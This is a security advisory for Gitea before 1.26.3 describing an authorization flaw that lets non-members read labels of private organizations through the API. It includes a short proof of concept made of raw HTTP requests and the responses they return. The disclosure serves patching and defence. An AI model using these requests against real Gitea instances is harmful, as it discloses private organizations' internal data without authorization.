GHSA-v73x-hx65-6pf4 Gitea: Unauthorized Access to Labels of Private Organizations

• Go code.gitea.io/gitea: < 1.26.3 → fixed in 1.26.3

Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access. No unauthorized modification of labels was observed. Details The following endpoints are affected: • `GET /api/v1/orgs/{org}/labels` • `GET /api/v1/orgs/{org}/labels/{id}` During testing, a private organization was created and a label was added to that organization. Access to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information. However, the same user was still able to retrieve organization labels through the endpoints listed above. For comparison, other organization-scoped endpoints such as: • `GET /api/v1/orgs/{org}/teams` • `GET /api/v1/orgs/{org}/hooks` • `GET /api/v1/orgs/{org}/actions/secrets` correctly denied access to unauthorized users. The label endpoints returned the full Label object, including fields such as: • `id` • `name` • `description` • `color` • `url` Write operations were tested separately and remained protected by authorization checks. PoC Setup Create a private organization: ```http POST /api/v1/orgs Authorization: token { "username": "target-org", "visibility": "private" } ``` Create a label: ```http POST /api/v1/orgs/target-org/labels Authorization: token { "name": "internal-label", "color": "#aabbcc", "description": "private organization label" } ``` Verify that the organization is not accessible to a non-member: ```http GET /api/v1/orgs/target-org Authorization: token ``` Response: ```http HTTP/1.1 404 Not Found ``` Retrieve all labels Request: ```http GET /api/v1/orgs/target-org/labels Authorization: token ``` Observed response: ```http HTTP/1.1 200 OK ``` The response contains labels belonging to the private organization. Retrieve a specific label Request: ```http GET /api/v1/orgs/target-org/labels/1 Authorization: token ``` Observed response: ```http HTTP/1.1 200 OK ``` The full Label object is returned. Verify write protection Request: ```http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token ``` Response: ```http HTTP/1.1 403 Forbidden ``` PoC Details https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak Impact Users who are not authorized to access a private organization can obtain label metadata associated with that organization. Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions. The issue affects confidentiality only. No integrity or availability impact was observed.